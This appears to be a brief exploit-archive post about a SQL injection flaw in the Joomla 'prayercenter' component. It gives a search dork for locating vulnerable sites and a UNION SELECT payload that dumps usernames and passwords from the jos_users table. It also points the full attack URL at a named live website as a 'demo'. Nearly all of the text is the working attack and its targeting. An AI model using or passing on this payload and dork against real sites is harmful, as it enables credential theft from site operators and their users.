Joomla component prayercenter SQL Injection Vulnerability

*- Joomla component prayercenter  SQL Injection Vulnerability -*


[*] Dork      : inurl:"com_prayercenter"
[*] Expolits  : /index2.php?option=com_prayercenter&task=view_request&id=-1 UNION SELECT user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--
[*] Live Demo : http://www.jimbakkershow.com/index2.php?option=com_prayercenter&task=view_request&id=-1%20UNION%20SELECT%20user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user()%20FROM%20jos_users--